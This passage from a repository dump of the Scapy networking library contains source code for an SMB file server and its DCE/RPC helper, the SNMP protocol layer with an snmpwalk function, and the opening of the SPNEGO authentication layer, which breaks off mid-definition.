self.SERVING().action_parameters(pkt)\n\n    @ATMT.action(receive_write_request)\n    def send_write_response(self, pkt):\n        self.update_smbheader(pkt)\n        resp = SMB2_Write_Response(Count=len(pkt.Data))\n        fid = self.get_file_id(pkt)\n        if self.current_tree() == \"IPC$\":\n            if fid in self.PIPES_TABLE.values():\n                # A pipe\n                self.rpc_server.recv(pkt.Data)\n        else:\n            if self.readonly:\n                # Read only !\n                resp = SMB2_Error_Response()\n                resp.Command = \"SMB2_WRITE\"\n                resp.Status = \"ERROR_FILE_READ_ONLY\"\n            else:\n                # Write file\n                pth, _ = self.current_handles[fid]\n                length = pkt[SMB2_Write_Request].DataLen\n                off = pkt[SMB2_Write_Request].Offset\n                self.vprint(\"Writing %s bytes at %s\" % (length, off))\n                with open(pth, \"r+b\") as fd:\n                    fd.seek(off)\n                    resp.Count = fd.write(pkt[SMB2_Write_Request].Data)\n        self.send(self.smb_header.copy() / resp)\n\n    @ATMT.receive_condition(SERVING)\n    def receive_read_request(self, pkt):\n        if SMB2_Read_Request in pkt:\n            raise self.SERVING().action_parameters(pkt)\n\n    @ATMT.action(receive_read_request)\n    def send_read_response(self, pkt):\n        self.update_smbheader(pkt)\n        resp = SMB2_Read_Response()\n        fid = self.get_file_id(pkt)\n        if self.current_tree() == \"IPC$\":\n            # Read output from DCE/RPC server\n            r = self.rpc_server.get_response()\n            resp.Data = bytes(r)\n        else:\n            # Read file and send content\n            pth, _ = self.current_handles[fid]\n            length = pkt[SMB2_Read_Request].Length\n            off = pkt[SMB2_Read_Request].Offset\n            self.vprint(\"Reading %s bytes at %s\" % (length, off))\n            with open(pth, \"rb\") as fd:\n                fd.seek(off)\n                resp.Data = fd.read(length)\n        self.send(self.smb_header.copy() / resp)\n\n    @ATMT.receive_condition(SERVING)\n    def receive_close_request(self, pkt):\n        if SMB2_Close_Request in pkt:\n            raise self.SERVING().action_parameters(pkt)\n\n    @ATMT.action(receive_close_request)\n    def send_close_response(self, pkt):\n        self.update_smbheader(pkt)\n        if self.current_tree() != \"IPC$\":\n            fid = self.get_file_id(pkt)\n            pth, attrs = self.current_handles[fid]\n            if pth:\n                self.vprint(\"Closed: \" + str(pth))\n            del self.current_handles[fid]\n            del self.enumerate_index[fid]\n            self.send(\n                self.smb_header.copy()\n                / SMB2_Close_Response(\n                    Flags=pkt[SMB2_Close_Request].Flags,\n                    **attrs,\n                )\n            )\n        else:\n            self.send(self.smb_header.copy() / SMB2_Close_Response())\n\n    @ATMT.receive_condition(SERVING)\n    def receive_tree_disconnect_request(self, pkt):\n        if SMB2_Tree_Disconnect_Request in pkt:\n            raise self.SERVING().action_parameters(pkt)\n\n    @ATMT.action(receive_tree_disconnect_request)\n    def send_tree_disconnect_response(self, pkt):\n        self.update_smbheader(pkt)\n        try:\n            del self.current_trees[self.smb_header.TID]  # clear tree\n            resp = self.smb_header.copy() / SMB2_Tree_Disconnect_Response()\n        except KeyError:\n            resp = self.smb_header.copy() / SMB2_Error_Response()\n            resp.Command = \"SMB2_TREE_DISCONNECT\"\n            resp.Status = \"STATUS_NETWORK_NAME_DELETED\"\n        self.send(resp)\n\n    @ATMT.receive_condition(SERVING)\n    def receive_cancel_request(self, pkt):\n        if SMB2_Cancel_Request in pkt:\n            raise self.SERVING().action_parameters(pkt)\n\n    @ATMT.action(receive_cancel_request)\n    def send_notify_cancel_response(self, pkt):\n        self.update_smbheader(pkt)\n        resp = self.smb_header.copy() / SMB2_Change_Notify_Response()\n        resp.Status = \"STATUS_CANCELLED\"\n        self.send(resp)\n\n    @ATMT.receive_condition(SERVING)\n    def receive_echo_request(self, pkt):\n        if SMB2_Echo_Request in pkt:\n            raise self.SERVING().action_parameters(pkt)\n\n    @ATMT.action(receive_echo_request)\n    def send_echo_reply(self, pkt):\n        self.update_smbheader(pkt)\n        self.send(self.smb_header.copy() / SMB2_Echo_Response())\n\n\n# DCE/RPC server for SMB\n\n\nclass SMB_DCERPC_Server(DCERPC_Server):\n    \"\"\"\n    DCE/RPC server than handles the minimum RPCs for SMB to work:\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self.shares = kwargs.pop(\"shares\")\n        super(SMB_DCERPC_Server, self).__init__(*args, **kwargs)\n\n    @DCERPC_Server.answer(NetrShareEnum_Request)\n    def netr_share_enum(self, req):\n        \"\"\"\n        NetrShareEnum [MS-SRVS]\n        \"retrieves information about each shared resource on a server.\"\n        \"\"\"\n        level = req.InfoStruct.Level\n\n        # Create response\n        resp = NetrShareEnum_Response(\n            InfoStruct=LPSHARE_ENUM_STRUCT(\n                Level=level,\n                ShareInfo=NDRUnion(\n                    tag=level,\n                    value=None,\n                ),\n            ),\n            ndr64=self.ndr64,\n        )\n\n        if level == 1:\n            nbEntries = len(self.shares)\n            resp.InfoStruct.ShareInfo.value = NDRPointer(\n                referent_id=0x20000,\n                value=SHARE_INFO_1_CONTAINER(\n                    Buffer=[\n                        # Add shares\n                        LPSHARE_INFO_1(\n                            shi1_netname=x.name,\n                            shi1_type=x.type,\n                            shi1_remark=x.remark,\n                        )\n                        for x in self.shares\n                    ],\n                    EntriesRead=nbEntries,\n                ),\n            )\n            resp.TotalEntries = nbEntries\n        else:\n            # We only support level 1 :(\n            resp.status = 0x0000007C  # ERROR_INVALID_LEVEL\n\n        return resp\n\n    @DCERPC_Server.answer(NetrWkstaGetInfo_Request)\n    def netr_wksta_getinfo(self, req):\n        \"\"\"\n        NetrWkstaGetInfo [MS-SRVS]\n        \"returns information about the configuration of a workstation.\"\n        \"\"\"\n        level = req.Level\n\n        # Create response\n        resp = NetrWkstaGetInfo_Response(\n            WkstaInfo=NDRUnion(\n                tag=level,\n                value=None,\n            ),\n            ndr64=self.ndr64,\n        )\n\n        if level == 100:\n            resp.WkstaInfo.value = NDRPointer(\n                referent_id=0x20000,\n                value=LPWKSTA_INFO_100(\n                    wki100_platform_id=500,  # NT\n                    wki100_ver_major=5,\n                ),\n            )\n        else:\n            # We only support level 101 :(\n            resp.status = 0x0000007C  # ERROR_INVALID_LEVEL\n\n        return resp\n\n    @DCERPC_Server.answer(NetrServerGetInfo_Request)\n    def netr_server_getinfo(self, req):\n        \"\"\"\n        NetrServerGetInfo [MS-WKST]\n        \"retrieves current configuration information for CIFS and\n        SMB Version 1.0 servers.\"\n        \"\"\"\n        level = req.Level\n\n        # Create response\n        resp = NetrServerGetInfo_Response(\n            InfoStruct=NDRUnion(\n                tag=level,\n                value=None,\n            ),\n            ndr64=self.ndr64,\n        )\n\n        if level == 101:\n            resp.InfoStruct.value = NDRPointer(\n                referent_id=0x20000,\n                value=LPSERVER_INFO_101(\n                    sv101_platform_id=500,  # NT\n                    sv101_name=\"WORKSTATION\",\n                    sv101_version_major=10,\n                    sv101_version_minor=0,\n                    sv101_version_type=1,  # Workstation\n                ),\n            )\n        else:\n            # We only support level 101 :(\n            resp.status = 0x0000007C  # ERROR_INVALID_LEVEL\n\n        return resp\n\n    @DCERPC_Server.answer(NetrShareGetInfo_Request)\n    def netr_share_getinfo(self, req):\n        \"\"\"\n        NetrShareGetInfo [MS-SRVS]\n        \"retrieves information about a particular shared resource on a server.\"\n        \"\"\"\n        level = req.Level\n        share_netname = req.payload.payload.valueof(\"NetName\").decode()\n\n        # Create response\n        resp = NetrShareGetInfo_Response(\n            InfoStruct=NDRUnion(\n                tag=level,\n                value=None,\n            ),\n            ndr64=self.ndr64,\n        )\n\n        # Find the share the client is asking details for\n        try:\n            share = next(x for x in self.shares if x.name == share_netname)\n        except StopIteration:\n            # Share doesn't exist !\n            resp.status = 0x00000906  # NERR_NetNameNotFound\n            return resp\n\n        if level == 1:\n            resp.InfoStruct.value = NDRPointer(\n                referent_id=0x20000,\n                value=LPSHARE_INFO_1(\n                    shi1_netname=share.name,\n                    shi1_type=share.type,\n                    shi1_remark=share.remark,\n                ),\n            )\n        else:\n            # We only support level 1 :(\n            resp.status = 0x0000007C  # ERROR_INVALID_LEVEL\n\n        return resp\n\n\n# Util\n\n\nclass smbserver:\n    r\"\"\"\n    Spawns a simple smbserver\n\n    smbserver parameters:\n\n        :param shares: the list of shares to announce. Note that IPC$ is appended.\n                       By default, a 'Scapy' share on './'\n        :param port:  (optional) the port to bind on, default 445\n        :param iface:  (optional) the interface to bind on, default conf.iface\n        :param readonly: (optional) whether the server is read-only or not. default True\n        :param ssp: (optional) the SSP to use. See the examples below.\n                    Default NTLM with guest\n\n    Many more SMB-specific parameters are available in help(SMB_Server)\n    \"\"\"\n\n    def __init__(\n        self,\n        shares=None,\n        iface: str = None,\n        port: int = 445,\n        verb: int = 2,\n        readonly: bool = True,\n        # SMB arguments\n        ssp=None,\n        **kwargs,\n    ):\n        # Default Share\n        if shares is None:\n            shares = [\n                SMBShare(\n                    name=\"Scapy\", path=\".\", remark=\"Scapy's SMB server default share\"\n                )\n            ]\n        # Verb\n        if verb >= 2:\n            log_runtime.info(\"-- Scapy %s SMB Server --\" % conf.version)\n            log_runtime.info(\n                \"SSP: %s. Read-Only: %s. Serving %s shares:\"\n                % (\n                    conf.color_theme.yellow(ssp or \"NTLM (guest)\"),\n                    (\n                        conf.color_theme.yellow(\"YES\")\n                        if readonly\n                        else conf.color_theme.format(\"NO\", \"bg_red+white\")\n                    ),\n                    conf.color_theme.red(len(shares)),\n                )\n            )\n            for share in shares:\n                log_runtime.info(\" * %s\" % share)\n        # Start SMB Server\n        self.srv = SMB_Server.spawn(\n            # TCP server\n            port=port,\n            iface=iface or conf.loopback_name,\n            verb=verb,\n            # SMB server\n            ssp=ssp,\n            shares=shares,\n            readonly=readonly,\n            # SMB arguments\n            **kwargs,\n        )\n\n    def close(self):\n        \"\"\"\n        Close the smbserver if started in background mode (bg=True)\n        \"\"\"\n        if self.srv:\n            try:\n                self.srv.shutdown(socket.SHUT_RDWR)\n            except OSError:\n                pass\n            self.srv.close()\n\n\nif __name__ == \"__main__\":\n    from scapy.utils import AutoArgparse\n\n    AutoArgparse(smbserver)\n"
  },
  {
    "path": "scapy/layers/snmp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nSNMP (Simple Network Management Protocol).\n\"\"\"\n\nfrom scapy.packet import bind_layers, bind_bottom_up\nfrom scapy.asn1packet import ASN1_Packet\nfrom scapy.asn1fields import ASN1F_INTEGER, ASN1F_IPADDRESS, ASN1F_OID, \\\n    ASN1F_SEQUENCE, ASN1F_SEQUENCE_OF, ASN1F_STRING, ASN1F_TIME_TICKS, \\\n    ASN1F_enum_INTEGER, ASN1F_field, ASN1F_CHOICE, ASN1F_optional, ASN1F_NULL\nfrom scapy.asn1.asn1 import ASN1_Class_UNIVERSAL, ASN1_Codecs, ASN1_NULL, \\\n    ASN1_SEQUENCE\nfrom scapy.asn1.ber import BERcodec_SEQUENCE\nfrom scapy.sendrecv import sr1\nfrom scapy.volatile import RandShort, IntAutoTime\nfrom scapy.layers.inet import UDP, IP, ICMP\n\n# Import needed to initialize conf.mib\nfrom scapy.asn1.mib import conf  # noqa: F401\n\n##########\n#  SNMP  #\n##########\n\n#     [ ASN1 class ]     #\n\n\nclass ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):\n    name = \"SNMP\"\n    PDU_GET = 0xa0\n    PDU_NEXT = 0xa1\n    PDU_RESPONSE = 0xa2\n    PDU_SET = 0xa3\n    PDU_TRAPv1 = 0xa4\n    PDU_BULK = 0xa5\n    PDU_INFORM = 0xa6\n    PDU_TRAPv2 = 0xa7\n\n\nclass ASN1_SNMP_PDU_GET(ASN1_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_GET\n\n\nclass ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_NEXT\n\n\nclass ASN1_SNMP_PDU_RESPONSE(ASN1_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_RESPONSE\n\n\nclass ASN1_SNMP_PDU_SET(ASN1_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_SET\n\n\nclass ASN1_SNMP_PDU_TRAPv1(ASN1_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_TRAPv1\n\n\nclass ASN1_SNMP_PDU_BULK(ASN1_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_BULK\n\n\nclass ASN1_SNMP_PDU_INFORM(ASN1_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_INFORM\n\n\nclass ASN1_SNMP_PDU_TRAPv2(ASN1_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_TRAPv2\n\n\n#     [ BER codecs ]      #\n\nclass BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_GET\n\n\nclass BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_NEXT\n\n\nclass BERcodec_SNMP_PDU_RESPONSE(BERcodec_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_RESPONSE\n\n\nclass BERcodec_SNMP_PDU_SET(BERcodec_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_SET\n\n\nclass BERcodec_SNMP_PDU_TRAPv1(BERcodec_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_TRAPv1\n\n\nclass BERcodec_SNMP_PDU_BULK(BERcodec_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_BULK\n\n\nclass BERcodec_SNMP_PDU_INFORM(BERcodec_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_INFORM\n\n\nclass BERcodec_SNMP_PDU_TRAPv2(BERcodec_SEQUENCE):\n    tag = ASN1_Class_SNMP.PDU_TRAPv2\n\n\n#     [ ASN1 fields ]     #\n\nclass ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE):\n    ASN1_tag = ASN1_Class_SNMP.PDU_GET\n\n\nclass ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE):\n    ASN1_tag = ASN1_Class_SNMP.PDU_NEXT\n\n\nclass ASN1F_SNMP_PDU_RESPONSE(ASN1F_SEQUENCE):\n    ASN1_tag = ASN1_Class_SNMP.PDU_RESPONSE\n\n\nclass ASN1F_SNMP_PDU_SET(ASN1F_SEQUENCE):\n    ASN1_tag = ASN1_Class_SNMP.PDU_SET\n\n\nclass ASN1F_SNMP_PDU_TRAPv1(ASN1F_SEQUENCE):\n    ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv1\n\n\nclass ASN1F_SNMP_PDU_BULK(ASN1F_SEQUENCE):\n    ASN1_tag = ASN1_Class_SNMP.PDU_BULK\n\n\nclass ASN1F_SNMP_PDU_INFORM(ASN1F_SEQUENCE):\n    ASN1_tag = ASN1_Class_SNMP.PDU_INFORM\n\n\nclass ASN1F_SNMP_PDU_TRAPv2(ASN1F_SEQUENCE):\n    ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv2\n\n\n#     [ SNMP Packet ]     #\n\n\nSNMP_error = {0: \"no_error\",\n              1: \"too_big\",\n              2: \"no_such_name\",\n              3: \"bad_value\",\n              4: \"read_only\",\n              5: \"generic_error\",\n              6: \"no_access\",\n              7: \"wrong_type\",\n              8: \"wrong_length\",\n              9: \"wrong_encoding\",\n              10: \"wrong_value\",\n              11: \"no_creation\",\n              12: \"inconsistent_value\",\n              13: \"resource_unavailable\",\n              14: \"commit_failed\",\n              15: \"undo_failed\",\n              16: \"authorization_error\",\n              17: \"not_writable\",\n              18: \"inconsistent_name\",\n              }\n\nSNMP_trap_types = {0: \"cold_start\",\n                   1: \"warm_start\",\n                   2: \"link_down\",\n                   3: \"link_up\",\n                   4: \"auth_failure\",\n                   5: \"egp_neigh_loss\",\n                   6: \"enterprise_specific\",\n                   }\n\n\nclass SNMPvarbind(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"oid\", \"1.3\"),\n        ASN1F_optional(\n            ASN1F_field(\"value\", ASN1_NULL(0))\n        ),\n\n        # exceptions in responses\n        ASN1F_optional(ASN1F_NULL(\"noSuchObject\", None, implicit_tag=0x80)),\n        ASN1F_optional(ASN1F_NULL(\"noSuchInstance\", None, implicit_tag=0x81)),\n        ASN1F_optional(ASN1F_NULL(\"endOfMibView\", None, implicit_tag=0x82)),\n    )\n\n\nclass SNMPget(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SNMP_PDU_GET(ASN1F_INTEGER(\"id\", 0),\n                                   ASN1F_enum_INTEGER(\"error\", 0, SNMP_error),\n                                   ASN1F_INTEGER(\"error_index\", 0),\n                                   ASN1F_SEQUENCE_OF(\"varbindlist\", [], SNMPvarbind)  # noqa: E501\n                                   )\n\n\nclass SNMPnext(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SNMP_PDU_NEXT(ASN1F_INTEGER(\"id\", 0),\n                                    ASN1F_enum_INTEGER(\"error\", 0, SNMP_error),\n                                    ASN1F_INTEGER(\"error_index\", 0),\n                                    ASN1F_SEQUENCE_OF(\"varbindlist\", [], SNMPvarbind)  # noqa: E501\n                                    )\n\n\nclass SNMPresponse(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SNMP_PDU_RESPONSE(ASN1F_INTEGER(\"id\", 0),\n                                        ASN1F_enum_INTEGER(\"error\", 0, SNMP_error),  # noqa: E501\n                                        ASN1F_INTEGER(\"error_index\", 0),\n                                        ASN1F_SEQUENCE_OF(\"varbindlist\", [], SNMPvarbind)  # noqa: E501\n                                        )\n\n\nclass SNMPset(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SNMP_PDU_SET(ASN1F_INTEGER(\"id\", 0),\n                                   ASN1F_enum_INTEGER(\"error\", 0, SNMP_error),\n                                   ASN1F_INTEGER(\"error_index\", 0),\n                                   ASN1F_SEQUENCE_OF(\"varbindlist\", [], SNMPvarbind)  # noqa: E501\n                                   )\n\n\nclass SNMPtrapv1(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SNMP_PDU_TRAPv1(ASN1F_OID(\"enterprise\", \"1.3\"),\n                                      ASN1F_IPADDRESS(\"agent_addr\", \"0.0.0.0\"),\n                                      ASN1F_enum_INTEGER(\"generic_trap\", 0, SNMP_trap_types),  # noqa: E501\n                                      ASN1F_INTEGER(\"specific_trap\", 0),\n                                      ASN1F_TIME_TICKS(\"time_stamp\", IntAutoTime()),  # noqa: E501\n                                      ASN1F_SEQUENCE_OF(\"varbindlist\", [], SNMPvarbind)  # noqa: E501\n                                      )\n\n\nclass SNMPbulk(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SNMP_PDU_BULK(ASN1F_INTEGER(\"id\", 0),\n                                    ASN1F_INTEGER(\"non_repeaters\", 0),\n                                    ASN1F_INTEGER(\"max_repetitions\", 0),\n                                    ASN1F_SEQUENCE_OF(\"varbindlist\", [], SNMPvarbind)  # noqa: E501\n                                    )\n\n\nclass SNMPinform(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SNMP_PDU_INFORM(ASN1F_INTEGER(\"id\", 0),\n                                      ASN1F_enum_INTEGER(\"error\", 0, SNMP_error),  # noqa: E501\n                                      ASN1F_INTEGER(\"error_index\", 0),\n                                      ASN1F_SEQUENCE_OF(\"varbindlist\", [], SNMPvarbind)  # noqa: E501\n                                      )\n\n\nclass SNMPtrapv2(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SNMP_PDU_TRAPv2(ASN1F_INTEGER(\"id\", 0),\n                                      ASN1F_enum_INTEGER(\"error\", 0, SNMP_error),  # noqa: E501\n                                      ASN1F_INTEGER(\"error_index\", 0),\n                                      ASN1F_SEQUENCE_OF(\"varbindlist\", [], SNMPvarbind)  # noqa: E501\n                                      )\n\n\nclass SNMP(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\"version\", 1, {0: \"v1\", 1: \"v2c\", 2: \"v2\", 3: \"v3\"}),  # noqa: E501\n        ASN1F_STRING(\"community\", \"public\"),\n        ASN1F_CHOICE(\"PDU\", SNMPget(),\n                     SNMPget, SNMPnext, SNMPresponse, SNMPset,\n                     SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2)\n    )\n\n    def answers(self, other):\n        return (isinstance(self.PDU, SNMPresponse) and\n                isinstance(other.PDU, (SNMPget, SNMPnext, SNMPset)) and\n                self.PDU.id == other.PDU.id)\n\n\nbind_bottom_up(UDP, SNMP, sport=161)\nbind_bottom_up(UDP, SNMP, dport=161)\nbind_bottom_up(UDP, SNMP, sport=162)\nbind_bottom_up(UDP, SNMP, dport=162)\nbind_layers(UDP, SNMP, sport=161, dport=161)\n\n\ndef snmpwalk(dst, oid=\"1\", community=\"public\"):\n    try:\n        while True:\n            r = sr1(IP(dst=dst) / UDP(sport=RandShort()) / SNMP(community=community, PDU=SNMPnext(varbindlist=[SNMPvarbind(oid=oid)])), timeout=2, chainCC=1, verbose=0, retry=2)  # noqa: E501\n            if r is None:\n                print(\"No answers\")\n                break\n            if ICMP in r:\n                print(repr(r))\n                break\n            print(\"%-40s: %r\" % (r[SNMPvarbind].oid.val, r[SNMPvarbind].value))\n            oid = r[SNMPvarbind].oid\n\n    except KeyboardInterrupt:\n        pass\n"
  },
  {
    "path": "scapy/layers/spnego.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nSPNEGO\n\nImplements parts of:\n\n- GSSAPI SPNEGO: RFC4178 > RFC2478\n- GSSAPI SPNEGO NEGOEX: [MS-NEGOEX]\n\n.. note::\n    You will find more complete documentation for this layer over at\n    `GSSAPI <https://scapy.readthedocs.io/en/latest/layers/gssapi.html#spnego>`_\n\"\"\"\n\nimport os\nimport struct\nfrom uuid import UUID\n\nfrom scapy.asn1.asn1 import (\n    ASN1_Codecs,\n    ASN1_OID,\n    ASN1_GENERAL_STRING,\n)\nfrom scapy.asn1.mib import conf  # loads conf.mib\nfrom scapy.asn1fields import (\n    ASN1F_CHOICE,\n    ASN1F_ENUMERATED,\n    ASN1F_FLAGS,\n    ASN1F_GENERAL_STRING,\n    ASN1F_OID,\n    ASN1F_optional,\n    ASN1F_PACKET,\n    ASN1F_SEQUENCE_OF,\n    ASN1F_SEQUENCE,\n    ASN1F_STRING_ENCAPS,\n    ASN1F_STRING,\n)\nfrom scapy.asn1packet import ASN1_Packet\nfrom scapy.fields import (\n    FieldListField,\n    LEIntEnumField,\n    LEIntField,\n    LELongEnumField,\n    LELongField,\n    LEShortField,\n    MultipleTypeField,\n    PacketField,\n    PacketListField,\n    StrField,\n    StrFixedLenField,\n    UUIDEnumField,\n    UUIDField,\n    XStrFixedLenField,\n    XStrLenField,\n)\nfrom scapy.error import log_runtime\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.utils import (\n    valid_ip,\n    valid_ip6,\n)\n\nfrom scapy.layers.gssapi import (\n    _GSSAPI_OIDS,\n    _GSSAPI_SIGNATURE_OIDS,\n    GSS_C_FLAGS,\n    GSS_C_NO_CHANNEL_BINDINGS,\n    GSS_S_BAD_MECH,\n    GSS_S_COMPLETE,\n    GSS_S_CONTINUE_NEEDED,\n    GSS_S_FAILURE,\n    GSS_S_FLAGS,\n    GSSAPI_BLOB_SIGNATURE,\n    GSSAPI_BLOB,\n    GssChannelBindings,\n    SSP,\n)\n\n# SSP Providers\nfrom scapy.layers.kerberos import (\n    Kerberos,\n    KerberosSSP,\n    _parse_spn,\n    _parse_upn,\n)\nfrom scapy.layers.ntlm import (\n    NTLMSSP,\n    MD4le,\n    NEGOEX_EXCHANGE_NTLM,\n    NTLM_Header,\n    _NTLMPayloadField,\n    _NTLMPayloadPacket,\n)\n\n# Typing imports\nfrom typing import (\n    Dict,\n    List,\n    Optional,\n    Tuple,\n)\n\n# SPNEGO negTokenInit\n# https://datatracker.ietf.org/doc/html/rfc4178#section-4.2.1\n\n\nclass SPNEGO_MechType(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_OID(\"oid\", None)\n\n\nclass SPNEGO_MechTypes(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"mechTypes\", None, SPNEGO_MechType)\n\n\nclass SPNEGO_MechListMIC(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_STRING_ENCAPS(\"value\", \"\", GSSAPI_BLOB_SIGNATURE)\n\n\n_mechDissector = {\n    \"1.3.6.1.4.1.311.2.2.10\": NTLM_Header,  # NTLM\n    \"1.2.840.48018.1.2.2\": Kerberos,  # MS KRB5 - Microsoft Kerberos 5\n    \"1.2.840.113554.1.2.2\": Kerberos,  # Kerberos 5\n    \"1.2.840.113554.1.2.2.3\": Kerberos,  # Kerberos 5 - User to User\n}\n\n\nclass _SPNEGO_Token_Field(ASN1F_STRING):\n    def i2m(self, pkt, x):\n        if x is None:\n            x = b\"\"\n        return super(_SPNEGO_Token_Field, self).i2m(pkt, bytes(x))\n\n    def m2i(self, pkt, s):\n        dat, r = super(_SPNEGO_Token_Field, self).m2i(pkt, s)\n        types = None\n        if isinstance(pkt.underlayer, SPNEGO_negTokenInit):\n            types = pkt.underlayer.mechTypes\n        elif isinstance(pkt.underlayer, SPNEGO_negTokenResp):\n            types = [pkt.underlayer.supportedMech]\n        if types and types[0] and types[0].oid.val in _mechDissector:\n            return _mechDissector[types[0].oid.val](dat.val), r\n        else:\n            # Use heuristics\n            return GSSAPI_BLOB(dat.val), r\n\n\nclass SPNEGO_Token(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = _SPNEGO_Token_Field(\"value\", None)\n\n\n_ContextFlags = [\n    \"delegFlag\",\n    \"mutualFlag\",\n    \"replayFlag\",\n    \"sequenceFlag\",\n    \"superseded\",\n    \"anonFlag\",\n    \"confFlag\",\n    \"integFlag\",\n]\n\n\nclass SPNEGO_negHints(ASN1_Packet):\n    # [MS-SPNG] 2.2.1\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_GENERAL_STRING(\n                \"hintName\", \"not_defined_in_RFC4178@please_ignore\", explicit_tag=0xA0\n            ),\n        ),\n        ASN1F_optional(\n            ASN1F_GENERAL_STRING(\"hintAddress\", None, explicit_tag=0xA1),\n        ),\n    )\n\n\nclass SPNEGO_negTokenInit(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"mechTypes\", None, SPNEGO_MechType, explicit_tag=0xA0)\n        ),\n        ASN1F_optional(ASN1F_FLAGS(\"reqFlags\", None, _ContextFlags, implicit_tag=0x81)),\n        ASN1F_optional(\n            ASN1F_PACKET(\"mechToken\", None, SPNEGO_Token, explicit_tag=0xA2)\n        ),\n        # [MS-SPNG] flavor !\n        ASN1F_optional(\n            ASN1F_PACKET(\"negHints\", None, SPNEGO_negHints, explicit_tag=0xA3)\n        ),\n        ASN1F_optional(\n            ASN1F_PACKET(\"mechListMIC\", None, SPNEGO_MechListMIC, explicit_tag=0xA4)\n        ),\n        # Compat with RFC 4178's SPNEGO_negTokenInit\n        ASN1F_optional(\n            ASN1F_PACKET(\"_mechListMIC\", None, SPNEGO_MechListMIC, explicit_tag=0xA3)\n        ),\n    )\n\n\n# SPNEGO negTokenTarg\n# https://datatracker.ietf.org/doc/html/rfc4178#section-4.2.2\n\n\nclass SPNEGO_negTokenResp(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_ENUMERATED(\n                \"negState\",\n                0,\n                {\n                    0: \"accept-completed\",\n                    1: \"accept-incomplete\",\n                    2: \"reject\",\n                    3: \"request-mic\",\n                },\n                explicit_tag=0xA0,\n            ),\n        ),\n        ASN1F_optional(\n            ASN1F_PACKET(\n                \"supportedMech\", SPNEGO_MechType(), SPNEGO_MechType, explicit_tag=0xA1\n            ),\n        ),\n        ASN1F_optional(\n            ASN1F_PACKET(\"responseToken\", None, SPNEGO_Token, explicit_tag=0xA2)\n        ),\n        ASN1F_optional(\n            ASN1F_PACKET(\"mechListMIC\", None, SPNEGO_MechListMIC, explicit_tag=0xA3)\n        ),\n    )\n\n\nclass SPNEGO_negToken(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"token\",\n        SPNEGO_negTokenInit(),\n        ASN1F_PACKET(\n            \"negTokenInit\",\n            SPNEGO_negTokenInit(),\n            SPNEGO_negTokenInit,\n            explicit_tag=0xA0,\n        ),\n        ASN1F_PACKET(\n            \"negTokenResp\",\n            SPNEGO_negTokenResp(),\n            SPNEGO_negTokenResp,\n            explicit_tag=0xA1,\n        ),\n    )\n\n\n# Register for the GSS API Blob\n\n_GSSAPI_OIDS[\"1.3.6.1.5.5.2\"] = SPNEGO_negToken\n_GSSAPI_SIGNATURE_OIDS[\"1.3.6.1.5.5.2\"] = SPNEGO_negToken\n\n\ndef mechListMIC(oids):\n    \"\"\"\n    Implementation of RFC 4178 - Appendix D. mechListMIC 